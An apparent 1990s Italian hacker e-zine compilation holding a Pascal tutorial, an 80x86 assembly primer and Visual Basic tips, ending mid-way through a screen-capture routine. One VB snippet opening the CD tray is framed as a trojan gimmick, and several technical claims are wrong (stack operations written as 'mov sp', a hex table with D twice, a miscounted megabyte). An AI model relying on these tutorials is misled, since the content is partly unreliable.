il file sppdemo.exe (compresso) 38k
i vari sorgenti delle unit necessarie al programma principale
(x3ds.pas, strprocs.pas, demoinit.pas)
le tre unit create col mio mudulo.pas

si trovano nel File supporti.zip

( per gli sfaticati ci sono anche i sorgenti del convertitore sia in c che
in pascal! convpas.pas, convpas.c )

-------------------------------------------------------------Supporti.zip

Convpas.c 497 (convertitore in c)
Convpas.pas 858 ""

Sppdemo.pas 13710 DEMO GRAFICA SPP
Demoint.pas 7660 |_unit di supporto per demo
X3ds.pas 5476 |__________ ""
Strprocs.pas 2691 |__________ ""
unop.pas 24812 |______________ 1/3 file spp3.3ds
duep.pas 21932 |______________ 2/3 ""
trep.pas 25614 |______________ 3/3 ""

Sppdemo.exe 38204 Sppdemo.pas compilato e compresso con
wwpack

Spp3.zip 11679 File spp3.3ds compresso
|
|_Spp3.3ds 30154 File creato con 3d Studio R4 per DOS.

-------------------------------------------------------------

Master - Parsifal
-= SPP MEMBER =-

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

|ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿|
|³ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»³|
|³º PASCAL TUTORIAL 2 º³|
|³ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ³|
|ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ|

Ehila benvenuti di nuovo in questo Tutorial. Avete capito qualcosa la
scorsa volta? Se la risposta e' no continuate a leggere, mentre se la
vostra risposta e' si ripassatevi la scorsa lezione.
In questa lezione vedremo le strutture non primitive ovvero strutture
piu' flessibili che evitano un lungo lavoro di codifica al programmatore.
Tra le varie strutture abbiamo quella di selezione multipla, che in
questo caso e'il comando CASE. La sua sintassi e' questa:

case (x) of
1: begin
...
... \_ Istruzioni
... /
end;
2: begin
...
...
...
end;
3:begin
...
...
...
end;
end;

X rappresenta la variabile in cui e' contenuta la scelta che ha digitato
l'utente. Il case in parole povere fa questo:
controlla il valore della variabile x, se e' uguale a 1, esegue il primo
procedimento; se e' uguale a 2 esegue il secondo e cosi' via.
Sapete cos'e' un vettore?
Un vettore e' formato da una variabile che ha tante locazioni di memoria,
quanta ne abbiamo dichiarato noi nella dichiarazione. In pascal un vettore
si dichiara usando la prola ARRAY, con affianco tra parentesi quadre
il numero di locazioni che gli vogliamo attribuire. Esempio:

var v:array[1..10] of real;

In questo caso ho dichiarato un vettore di dimensione 10 numeri reali.
Lo potrei dichiarare anche di stringhe:

var v:array[1..20] of string[30];

Ora ho dichiarato un vettore di dimensione 20 che contiene stringhe con un
numero di caratteri che possono arrivare a 30.
E le matrici?
Beh le matrici sono quasi la stessa cosa, solo che per dichiarare una matrice
dobbiamo indicare due dimensioni, visto che una matrice e' formata da un
numero righe e un numero di colonne. Esempio:

var v:array[1..20,1..20] of real;

Ho dichiarato una matrice di 20*20 elementi, contenente numeri reali.
Per la lettura di un vettore abbiamo la seguente codifica:

for i:=1 to k do
(*Per i=1 alla dimensione che abbiamo letto prima*)
begin
writeln ('inserisci il ',i,' valore');
readln(v[i]);
end;

Per lettura di una matrice abbiamo la seguente codifica:

for i:=1 to nr do
begin
for j:=1 to nc do
begin
writeln ('inserisci il ',j,' numero della ',i,' riga');
readln(v[i,j]);
end;
end;

Nella lettura di un vettore abbiamo un ciclo che va da 1, valore attribuito
alla variabile I, alla dimensione del vettore che deve essere letta o
specificata prima della lettura, mentre nella lettura di una matrice
abbiamo due cicli nidificati, cioe' uno dentro l'altro.
Il primo ciclo va da 1, attribuito alla variabile I, al numero di righe, il
secondo invece va da 1, attribuito alla variabile J, al numero di colonne.
Le variabili nr e nc devono essere lette prima, altrimenti la cpu non
sa quando deve finire il ciclo.
Ok facciamo un programma di prova:

program let_hack;
(*Questo programma legge i voti, stampa un giudizio e il voto massimo*)
var v:array[1..10] of byte;
i,k,max:byte;
(*Dichiarazione delle variabili*)
begin
(*Lettura della dimensione*)
repeat
writeln ('Inserisci il numero di hacker che vogliono partecipare');
readln (k);
(*Controlla se la dimensione e' contenuta nella dichiarazione*)
until (k>0) and (k<=10);
(*Ciclo che serve per leggere i voti*)
for i:=1 to k do
begin
writeln ('Il ',i,'ø hacker che voto ha preso all'ultima lezione di hacking? ');
readln(v[i]);
(*Se il voto e' maggiore o uguale a 6 fa una stampa*)
if v[i]=>6 then writeln ('Bravo sei buon apprendista');
if v[i]<6 then writeln ('Buuhh!!! Di questo passo sarai bocciato');
end;
(*Inserisce nella variabile max il primo voto del vettore*)
max:=v[1];
for i:=1 to k do
(*Se uno dei voti e' maggiore di max, lo memorizza in max*)
if v[i]>max then max:=v[i];
(*Stampa la variabile max*)
writeln ('Il voto piu'' alto e'' ',max);
end.

Non credo sia molto difficile, anzi come ve lo spiego io...mah.
E se vogliamo realizzare un prog che permetta all'utente di scegliere quale
area calcolare??? No problem, eccolo:

program aree;
(*Questo prog offre la possibilita' di calcolare varie aree*)
var sc:byte;
base,altezza:real;
(*Dichiarazione delle variabili*)
begin
repeat
(*Stampa del menu'*)
writeln ('Quale area vuoi calcolare?');
writeln ('--------------------------');
writeln ('1) Quadrato ');
writeln ('2) Triangolo ');
writeln ('3) Cerchio ');
writeln ('4) Fine ');
(*Legge la scelta e controlla se e' presente nel menu')
repeat
readln(sc);
until (sc>0) and (sc<=4);
(*Esegue la scelta effettuata*)
case sc of
1: begin
writeln ('Inserisci il lato');
readln(base);
(*Memorizza nella variabile base il suo quadrato*);
base:=base*base;
writeln ('L''area e'' ',base);
end;
2: begin
writeln ('Inserisci la base e l''altezza');
readln(base,altezza);
(*Memorizza nella variabile base l'area del triangolo e la stampa*)
base:=(base*altezza)/2;
writeln ('L''area e'' ',base);
end;
3: begin
writeln ('Inserisci il raggio del cerchio');
readln(base);
(*Memorizza nella variabile base l'area del cerchio e la stampa*)
base:=base*base*3.14;
writeln ('L''area e'' ',base);
end;
4: begin
end;
end;
(*Ripete il ciclo finche' non e' stata digitata la scela 4 *);
until (sc=4);
end.

Ok, non mi dire che non avete capito, altrimenti mi suicidio.
A questo punto vi ponete una domanda:
Come mai quanto dichiaro una variabile di tipo real e ne stampo il contenuto
e' quasi illegibile?
Dovete sapere che il formato real usa la notazione scientifica ovvero
il floating point. Per risolvere questa incomprensione di lettura dobbiamo
usare il fixed point. In poche parole:
questo e' un numero in floating point

0.5599234E+02

Significa che dobbiamo spostare la virgole verso destra di due posti. Se,
invece, avremmo avuto il segno - al posto di + avremmo dovuto spostare la
virgola verso sinistra.

Per ovviare a questa situazione, quando dovremo stampare un numero reale
useremo la seguente sintassi

var:x:y

Dove var e' la variabile reale, x e' il numero di cifre totali che vorremo far
stampare al nostro programmino e y e' il numero di cifre decimali che vorremo
far apparire. Un esempio:

writeln ('Il mio pisello e'' lungo ',pis:40:0);

Stampa la variabile dandogli 40 cifre totali (esagerato!) e 0 cifre decimali.

E se volessimo abbelire il nostro proggrammino?
Allora dopo aver specificato il modulo uses crt possiamo usare i seguenti
comandi:

CLRSCR;
Cancella dallo schermo tutto cio' che c'e' scritto

GOTOXY(X,Y);
Posizione il cursore sulla colonna X e sulla riga Y

DELAY(N);
Aspetta N millisecondi prima di continuare

TEXTBACKGROUND(N);
Seleziona il colore dello sfondo. N e' compreso tra 0 e 7
0 --> NERO
1 --> BLU
2 --> VERDE
3 --> VIOLETTO
4 --> ROSSO
5 --> MAGENTA
6 --> MARRONE
7 --> GRIGIO

TEXTCOLOR(N);
Seleziona il colore con cui devono essere scritti i caratteri di testo
0 --> NERO
1 --> BLU
2 --> VERDE
3 --> VIOLETTO
4 --> ROSSO
5 --> MAGENTA
6 --> MARRONE
7 --> GRIGIO
8 --> GRIGIO SCURO
9 --> BLU CHIARO
10--> VERDE CHIARO
11--> VIOLA CHIARO
12--> ROSSO CHIARO
13--> MAGENTA CHIARO
14--> GIALLO
15--> BIANCO

KEYPRESSED
E' una funzione che assuma il valore vero quando viene premuto un tasto.
Il suo utilizzo puo' essere questo:

REPEAT UNTIL KEYPRESSED

Cioe' ripeti finche' non viene premuto un pulsante

Allora, a me sembra che per ora basti cosi'. La prossima volta credo che
vedremo gli altri moduli con i loro comandi e i vari algoritmi di ordinamento
e di ricerca. Ci vediamo miei cari Pascalizzati!

T0rment0
urkes@hotmail.com

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ PRIMI PASSI VERSO L'ASSEMBLER ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

==============================================================================
===============================pREFAZIONe=====================================
==============================================================================

Questo breve testo vuol insegnare (o perlomeno ci prova :-P) le basi della
programmazione per processori INTEL 80x86.
Non peoccupatevi quello che insegnero' andra' benissimo anche su i normali
Pentium, perche' anche se i nuovi processori sono avanzati, hanno tenuto la
compatibilita' con i vecchi processori, che lavoravano in Real Mode!!

Per poi progredire e creare codici Assembler ottimizzati per Pentium vi
forniro' un tutorial (in inglese purtroppo) dove spiega quali sono i registri
a 32bit e come si utilizzano al meglio delle loro possibilita' (anche io me lo
sto' studiando in questo momento) la modalita' in cui lavora il pentium, come
tutti gli altri microprocessori a 32bit, si chiama Protect Mode (32bit).

L'assembler si differenzia dagli altri linguaggi perche' non e' costruito su
istruzioni (come i lunguaggi ad alto livello), ma bensi' a INTERRUPT. Questi
non sono altro che delle funzioni messe a disposizione del S.O o dal BIOS, ma
una delle carenze di questo linguaggio e' che non si possono creare programmi
per WINDOWS (o almeno si puo' fare linkando le funzioni delle api ma io non ho
mai provato e nemmeno lo voglio fare! L'unica cosa e' che si formano exe di
dimensioni ristrettissime).

Nonostante cio' questo linguaggio rimane sempre usato per creare giochi, che
utilizzano fortemente il 3D, anche se oggi si trovano API (openGL e DX) che
creano surface molto piu' potenti di quelle che si potrebbero creare
manualmente con l'ASM, e per creare VIRUS (hihihi) molto potenti come il CIH
che puo' cancellare il BIOS!!

==============================================================================
==================================rEQUISITi===================================
==============================================================================

Per seguire questo corso dovete avere:
1) Il TASM5 che trovate a: http://newdata2.box.sk/neworder/tools/tasm5.zip
2) Una lista degli INTERRUPT

==============================================================================
==================================iNIZIo======================================
==============================================================================

Bene nel primo tutorial vi parlero' solamente di come calcola l'asm quindi
almeno per questa volta nessun programmino sorry.

Come saprete ogni singolo carattere che scriviamo (intendo sia numeri che
lettere) sono un byte ciascuno e alla base dei byte ci sono i bit. Quindi
questo vi dovrebbe far capire che ogni file e' composto da tantissimi bit che
si susseguono; Ma cosa sono i bit?

I bit sono quei piccoli numerini (0 o 1) che si susseguono. Questi messi
affiancati possono formare i BYTE, MegaByte ecc...

BYTE: E' composto da 8 bit (es. 10100011)
WORD: E' composto da 2 BYTE quindi 16 bit (0011011010100011)
DOUBLEWORD: E' composto da 2 WORD quindi 32 bit -> 4 BYTE
KILOBYTE: E' composto da 1024 byte (e non 1000 bit come si crede)
MEGABYTE: E' composto da 1048578 byte
GIGABYTE: 1024 MegaByte
TETABYTE: 1024 GigaByte

Oggi giorno si puo' contare sull'utilizzo di linguaggi ben strutturati come
C, Pascal, Java che ci permettono di creare applicazioni in modo veloce e
sicuro, mentre l'asm, che e' il linguaggio piu' vicino al codice binario, ci
"permette" di mandare anche il crash il sistema per un banale errore!
E' da ricordare che non sono sempre esistiti i linguaggi come oggi prima i
programmatori (parlo dell'era preistorica :=P) dovevano scrivere i programmi
bit per bit!!!

Bene, adesso che abbiamo visto cosa sono i bit passiamo a capire come funziona
la CPU e come calcola!
La CPU calcola in formato binario, ma esistono altri formati con cui possiamo
comunicare con la CPU e cioe' decimale ottale e esadecimale.

Binario: Il formato binario e' un sistema posizionale come il decimale e cioe'
le cifre che compongono il numero si moltiplicano per le potenze di
2 (da qui' binario).

10110001 = 1*2^7 + 0*2^6 + 1*2^5 + 1*2^4 + 0*2^3 + 0*2^2 + 0*2^1 + 1*2^0 ->176

Decimale: Il formato decimale si puo' scomporre nel seguente modo, prendiamo
145 come numero decimale e portiamolo in formato binario:

1) si divide per 2 il numero decimale
2) se il risultato e' pari si scrive 0 altrimenti 1
3) si rifa' il procedimento da 1 fino a quando non si arriva a 0
4) i "numeri" ottenuti vanno ribaltati

145 -> 72 -> 36 -> 18 -> 9 -> 4 -> 2 -> 1 -> 0
1 0 0 0 1 0 0 1

numero ottenuto: 10010001 e' la rappresentazione binaria di 145.


Esadecimale: Il formato esadecimale e' molto semplice e semplifica moltissimo
la vita del povero programmatore asm. Come avrete capito dal nome questo
formato e' composto da 16 numeri ma quali sono?
Eccoli:

0 = 0000
1 = 0001
2 = 0010
3 = 0011
4 = 0100
5 = 0101
6 = 0110
7 = 0111
8 = 1000
9 = 1001
A = 1010
B = 1011
C = 1100
D = 1101
E = 1110
D = 1111

un esempio di formato esadecimale e' questo:
100101001011 -> B49

Come avete potuto vedere sono partito da fondo(cifra meno significativa),
prendendo l'ultimo blocco d 4 bit (1011) e sostituito in formato esadecimale.

1011 -> B
0100 -> 4
1001 -> 9

semplice no?

Adesso non ci rimane altro che spiegare come calcola il pc e qui' cerchero' di
semplificarvelo il piu' possibile.

Il mocroprocessore come avete capito riceve input solo in formato binario e
quindi non gli possiamo passare numeri come 947 perche' andrebbe in tilt il SO
quindi come facciamo?

La risposta e' semplice se abbiamo la cifra 947 basta sostituirlo con le cifre
dette nella tabella esadecimale cioe':
947 -> 011101001001
e prendiamo 2 cifre a caso a questo punto proviamo a sommarli per vedere come
calcola la CPU.
Come saprete (almeno spero) in decimale il riporto lo abbiamo quando si supera
il 10 mentre in binario l'abbiamo quando si supera 2 quindi:

11001001+
11000111=
---------
100010000

Come avrete capito quando trovo a sommare 1+1 il risultato e' 2, quindi metto
uno 0 al posto di 2 e faccio il riporto di 1 alla cifra successiva...
Avete capito come funziona no? (VEROOO????)

La CPU e' una piccola scatolina di metallo composta di milioni di transistor.
Ma cosa sono sti' c**zo di Transistor?
Sono dei piccolissimi rettangolini(talmente piccoli che vi stanno sulla punta
del mignolo) composti interamente di silicio(lo stesso materiale con cui e'
composta la sabbia, ma allo stato piu' puro) all'interno di essi si trovano
dei registri e segmenti, nei quali passa ogni informazione (0 o 1)!!

I Segmenti e i registri che si trovano nella CPU sono questi:

General purpose (registri utilizzati per contenere ogni cosa da puntatori a
dati dei nostri programmi):
AX -> registro a 16 bit scomponibile in 2 registri (ah e al). Notare bene che
se si modifica il valore in al o ah si modifica anche il valore di ax!!
Usato come destinazione nei calcoli.
BX -> Registro come AX e divisibile in BL - BH. Usato come registro di OFFset.
CX -> registro come AX (CH - CL). Usato come contatore cicli.
DX -> registro come AX (DH - DL). Usato come contenitore per il resto nelle
divisioni.

Registri:
SP -> (stack pointer) e' un puntatore alla zona di memoria abilitata al
contenimento di dati del programma. Viene usato per passare dati da
procedure ad altre o anche per altri scopi. La sua struttura e' un po'
strana infatti i dati che vengono inseriri in quest'area devono essere
ripresi da l'ultimo inserito verso il prima (si chiama LIFO: Last in
First out) ad esempio:

Se vogliamo immettere in sp il valore contenuto in ax e quello di bx dobbiamo
fare questo:

mov sp, ax
mov sp, bx

quando vorremo riprendere questi dati non possiamo riprendere il valore
contenuto in ax perche' e' nella 2ø posizione quindi per riprendere ax dobbiamo
prima prendere bx! esempio:

mov sp, bx
mov sp, ax

Capito? semplice no?

IP -> (instruction pointer) Contiene l'indirizzo della prossima istruzione
IR -> (instruction register) Contiene il codice dell'ustruzione in esecuzione

Insieme creano il fetch dell'esecuzione, che consiste nel prelevamento e
riconoscimento della instruzione da eseguire.
Una volta letto, il codice viene inserito nella PREFETCH QUEUE dove risiedono
i codici letti ma non ancora eseguiti.

Puntatori:
BP -> (base pointer) e' il puntatore alla porzione di memoria alla base dello
stack.

Segmenti:
CS -> (code segment) Puntatore alla zona di memoria contenente il codice della
prossima istruzione da eseguire.

DS -> (data segment) Puntatore alla zona abilitata al conetnimento dei dati.

ES -> (extra segment) Puo' essere usato come registro di segmento ausiliario.

SS -> (Stack segment) Punatore alla zona di memoria che compone lo stack.

Flag:
I flag sono registri che riportano informazioni circa alcune operazioni tipo
calcolo.
E sono:

CF -> Carry flag
PF -> Parity flag
AF -> Ausiliary flag
ZF -> Zero flag
SF -> Sign Flag
TF -> Trap flag
IF -> Interrupt flag
DF -> Direction flag
OF -> OverFlow flag

SEGMENT e OFFSET:
Purtroppo i vecchi processori Intel(8086 - 286) potevano indirizzare solo 1MB
di memoria, ma a parte questo il problema e' un altro:
Come facciamo ad indirizzare 1MB di memoria se per indirizzare 1MB servono 20
bit e noi ne abbiamo solo 16??
Semplice dobbiamo usare degli indirizzi formati da 2 parti chiamati Segment e
Offset.
Un esempio puo' essere 22F1:A0C1.
La CPU pero' non usa questo indirizzo composto a 2 parti ma lo moltiplica
ottenendone 1 da 20bit moltiplicando il segment x 16 (10h) e il risultato
ottenuto addizionato all'offset si ottiene cosi' un indirizzo da 20 bit!
Oppure c'e' il sistema dello shift a sinistra di 4 posizioni.
Questo cmq avviene solo nei programmi a 16bit e non in quelli a 32 i quali
sfruttano i Selettori e descrittori(non mi chiedete come funziona perche' non
lo so nemmeno io).

The First program:

A questo punto possiamo passare a fare il nostro primo programmino, che
sostituira' la funzione printf del C.
Aprite una sessione del vostro caro Blocco note (windows) e scrivete questo
codice asm:

; Tutorial1 Funzione identica a printf in asm -> by So[RD]eN 1999
.MODEL small
.STACK 100h

.DATA
Message DB "Hello world",13,10,'$' ;dichiara una variabile lunga 14 byte

.CODE ;apertura della parte del codice
start:
mov ax, SEG Message ;Muove in ax il Segment della variabile Messaggio
mov ds, ax ;Muove in ds in contenuto di ax
mov dx, OFFSET Message ;Muove in dx l'Offset della variabile Messaggio
mov ah, 09h ;Muove in ah il valore 09 (esadecimale) la h sta' per esadecimale
int 21h ;Richiama l'interrupt 21h
mov ah,4Ch ;Muove in ah il valore 4C (esadecimale)
int 21h ;Richiama l'interrupt 21
end start ;Fine della parte del codice

Una volta scritto il codice e salvato con il nome di tut1.asm per compilarlo
vi basta scrivere queste 2 intruzioni nel prompt dos:

tasm tut1.asm
tlink tut1.obj

Una volta fatto questo vi ritroverete il file tut1.exe, le quali dimensioni
saranno ristrettissime in confronto a qualsiasi programma, scritto in C o
pascal.

IL codice che vi ho fatto scrivere e' molto semplice, inizia con una
descrizione (il carattere ; e' identico a /* in C)

.MODEL small -> questo dice alla CPU che tipo di segmenti di memoria
utilizzare per eseguire il programma! Le altre possibili
scelte sono:

Tyny: Tutto il codice e per i dati in un segmento (64 kb)
small: Un segmento per il codice, uno per i dati e uno per lo stack
(tutti in 64Kb)
medium: Il codice in piu' segmenti quindi puo' andare oltre ai 64Kb,
ma i dati e lo stack sempre in 2 segmenti da 64Kb.
compact: Identico al modello small, ma per accedere ai dati vanno
usati puntatori FAR i quali permettono di superare la
barriera dei 64kb.
large: E' come il comparct, ma il codice in piu' segmenti, e i dati
possono superare i 64kb.

.STACK 100h -> Dice al compilatore quanto spazio in memoria deve essere
riservato al programma (100h = 0.5kb).

.DATA -> INizializza la parte in cui vanno dichiarate tutte le variabili che
serviranno nel programma.

Messaggio DB "Hello world",13,10,'$' -> Crea una variabile lunga 14 byte di
tipo byte; ma perche' lunga 14 se la frase e' lunga solo 11 caratteri?
Perche' ogni variabile contenente dei dati ha bisogno dei suoi parametri,
infatti la variabile Messaggio ha bisogno del parametro 13 (equivale al \r in
C), il 10 (\n in C) e $ che e' il terminatore della stringa dati! Quindi da 11
vanno aggiunti 3 byte per il 13, il 10 e la $.

Come avrete capito esistono altri tipi di dichiarazione della stringa eccovene
una lista:

DB -> Define Byte
DW -> Define Word
DD -> Define double word
DQ -> Define Quadword
DF -> Define FAR (puntatore FAR 48 bit -> 6 Byte)
DT -> Define Ten Byte

Per poi creare una variabile che verra' riempita durante l'esecuzione del
programma basta usare queste direttive:
NomeVariabile DB 5 DUP(?)
In questo modo abbiamo creato una variabile di tipo Byte lunga 5 byte.

.CODE -> Segnala l'inizio del segmento codice

mov ax,SEG Messaggio -> Muove in ax il SEGMENT della variabile Messaggio
(equivale a ax = SEG Messaggio in C), cmq se non
sapete cosa e' il SEGMENT non vi preoccupate lo
spieghero'piu' avanti).

mov ds, ax -> Voi direte perche' adesso hai spostato il valore contenuto in ax
in ds? non facevi prima a fare "mov ds,SEG Messaggio"?

Ed io vi rispondero' "NO!". Non e' permesso in asm fare spostamente
memoria->memoria infatti ds sta' per Data Segment (punta alla zona di memoria)
quindi e' come fare uno spostamento memoria->memoria!

mov dx, OFFSET Message -> Adesso immetto in dx il valore Offset della
variabile Message.

mov ah, 09h -> Immetto in ah il valore 09 (esadecimale) che indica la funzione
da richiamare, contenuta nell'interrupt 21h. Questa Funzione
prende gli indirizzi (seg:off) allocati nei registri ds(che poi
non e' un registro ma un segmento) e in dx. A questo punto la
CPU fa' l'operazione della fusione degli indirizzi seg:off e
risale cosi' al contenuto della variabile Message, e stampa su
schermo il suo contenuto!!

int 21h -> richiama l'interrupt 21h, prendendo il valore immesso in ah
richiama la funzione 09h e esegue quello descritto prima.

mov ah,4Ch -> Come prima immetto il valore 4Ch in ah e richiamo la funzione
4C contenuta nell'interrupt 21h, e cioe' chiude il programma
eliminando lo spazio occupato da lui in memoria e dalle sue
variabili.

int 21h -> La stessa cosa di prima.

END -> fine del segmento codice

Mi pare che per questa prima volta sia sufficente anche perche' dovete aver
capito bene tutto quello che vi ho descritto per continuare. Quindi leggete
leggete leggete e PROVATE!!

So[RD]eN_82

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
_____ ___ ___
/__ __\ | | | | |\ /|
| | | | | / | \/ |
|_| |___| | \ | |

PPppPPppPPppPPppPPppPPppPPppPPppPPpp
ppSuggerimenti per il visual basicPP
PPppPPppPPppPPppPPppPPppPPppPPppPPpp

Ehila' da quanto tempo??? Tutto a posta? O anche in banca??
Vabbe', eccolo qui il vostro tuttofare che stavolta vi insegnero' dei
trucchetti col Visual Basic.

1. Volete far partire applicazioni di Unix da applicazioni in VB??

Allora scaricatevi da internet (se non l'avete) uno dei tanti winsock control.
Usando lo standard REXEC (remote execute) protocol vi connettete attraverso la
porta 512 e dando login e password giusti, la path e l'eseguibile che vorremo
far eseguire. Funzia!!!

2. Avete realizzato un trojan e volete che vi apri e chiudi lo sportello CD?

il seguente codice:

Declare Function mcisendstring Lib "MMSystem"_
(ByVal IpstrCommand As String, ByVal IpReturnString AS _
String, ByVal wReturnLength As Integer, ByVal hCallback As _
Integer) As Long

'Per chiuderlo
retvalue = mcisendstring("set CDAudio door closed", returnstring,_
127,0)
'Per aprirlo
retvalue = mcisendstring("set CDAudio door open", returnstring,_
127,0)

3. Volete realizzare un browser facile facile ?

Ad aiutarvi c'e' il potente engine di Internet Explorer cioe' SHDOCVW.DLL
Dopo aver aperto una form andate nel menu Progetto, poi scegliete Componenti
ed infine selezionate Microsoft Internet Controls. Vi verranno aggiunte
due nuovi strumenti.

Ora dovete aggiungere sulla form i seguenti componenti:
Combobox
WebBrowser
StatusBar
e un array di 4 bottoni

Metteli in questo modo:

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ ÚÄÄÄÄÄÄÄÄÄÄÂÄ¿ ÚÄÄÄÄ¿ ÚÄÄÄÄ¿ ÚÄÄÄÄÄÄÄ¿ÚÄÄÄÄ¿ ³
³ ³ Combo1 ³V³ ³ <- ³ ³ -> ³ ³REFRESH³³STOP³ ³
³ ÀÄÄÄÄÄÄÄÄÄÄÁÄÙ ÀÄÄÄÄÙ ÀÄÄÄÄÙ ÀÄÄÄÄÄÄÄÙÀÄÄÄÄÙ ³
³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³
³ ³ ³ ³
³ ³ ³ ³
³ ³ WebBrowser ³ ³
³ ³ ³ ³
³ ³ ³ ³
³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³
³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³
³ ³ StatusBar ³ ³
³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Poi settate le seguenti proprieta':

Combo1.Text=""
StatusBar1.Style=1

Adesso inserite il seguente codice:

Private Sub WebBrowser1_BeforeNavigate(ByVal URL As String,_
ByVal Flags as Long, ByVal TargetFrameName As String,_
PostData As Variant, ByVal Headers As String, Cancel as Boolean)

Dim strUrl As String
strUrl = URL
Dim bFound As Boolean
Dim i As Integer
For i = 0 To Combo1.Listcount - 1
If Combo1.List(i) = strURL Then
bFound = True
Exit For
End If
Next i

  
If Not bFound Then
Combo1.AddItem strURL
End If

Combo1.Text=strURL
End Sub

<--------->

Private Sub Combo1_Click()
WebBrowser1.Navigate(Combo1.Text)
End Sub

<--------->

Private Sub Combo1_KeyPress(KeyAscii As Integer)
On Error Resume Next
If KeyAscii = 13 Then
Combo1_Click
End If
End Sub

<---------->

Private Sub Command1_Click(Index As Integer)
Select Case Index
On Error Resume Next
Case 0
WebBrowser1.GoBack
Case 1
WebBrowser1.GoForward
Case 2
WebBrowser1.Refresh
Case 3
WebBrowser1.Stop
End Select
End Sub

<----------->

Private Sub WebBrowser1_StatusTextChange(ByVal Text As String)
StatusBar1.SimpleText = Text
End Sub


-----------End------------------

Questo programmino lo potete anche usare come disk browser.
Io quando sto con Winzozz lo uso al posto dell'Explorer (ihihih)
Almeno sono sicuro che non e' buggato (ihihihih)

4. Registrare le OCX

Allora raga, molte persone si sono lamentate nel fatto che nello scorso numero
quel metodo per registrare il winsck.ocx non funzionava.
Ebbene ho trovato un altro metodo per registrare le ocx (da testare ancora sul
winsck.ocx)

Se avete Visual Basic sul cd ci dovrebbe essere una cartella Tools. Li' ci
dovrebbe essere l'utility regocx32.exe. Usatela in questo modo:
--- copiate il file .ocx in windows/system
--- spostatevi in windows/system
--- digitate regocx32 /u filedaregistrare.ocx
--- digitate regocx32 filedaregistrare.ocx

Beh se non funzia nemmeno cosi' non vi resta che scaricarvi l'ActiveX 6 dal
sito della Micro$oft o un altro sito

5. Come posso catturare lo schermo attraverso un'applicazione VB?

Basta che nel prog inserisci il seguente codice:

--------------------------INIZIO------------------------------------

DefInt A-Z
Declare Sub ReleaseDC Lib "User" (ByVal hWnd, ByVal hDC)
Declare Sub OpenClipBoard Lib "User" (ByVal hWnd)
Declare Sub EmptyClipBoard Lib "User" ()
Declare Sub SetClipBoardData Lib "User" (ByVal CBFormat, ByVal _
hBitMap)
Declare Sub CloseClipBoard Lib "User" ()
Declare Sub SelectObject Lib "GDI" (ByVal hDC, ByVal hObj)
Declare Sub DeleteDC Lib "GDI" (ByVal hDC)

Declare Sub BitBlt Lib "GDI" (ByVal DestDC, ByVal X, ByVal Y, ByVal _
BWidth, ByVal BHeight, ByVal SourceDC, ByVal X, ByVal Y, ByVal _
Constant&)

Declare Function CreateDC Lib "GDI" (ByVal Driver$, ByVal Dev&, _
ByVal O&, ByVal Init&)
Declare Function CreateCompatibleDC Lib "GDI" (ByVal hDC)

Declare Function CreateCompatibleBitmap Lib "GDI" (ByVal hDC, _
ByVal BWidth, ByVal BHeight)


Sub ScrnCap (Lt, Top, Rt, Bot)
rWidth = Rt - Lt
rHeight = Bot - Top
SourceDC = CreateDC("DISPLAY", 0, 0, 0)
DestDC = CreateCompatibleDC(SourceDC)
BHandle = CreateCompatibleBitmap(SourceDC, rWidth, rHeight)
SelectObject DestDC, BHandle
BitBlt DestDC, 0, 0, rWidth, rHeight, SourceDC, Lt, Top, _
&HCC0020
Wnd = Screen.ActiveForm.hWnd

OpenClipBoard Wnd
EmptyClipBoard
SetClipBoardData 2, BHandle
CloseClipBoard
DeleteDC DestDC
ReleaseDC DHandle, SourceDC
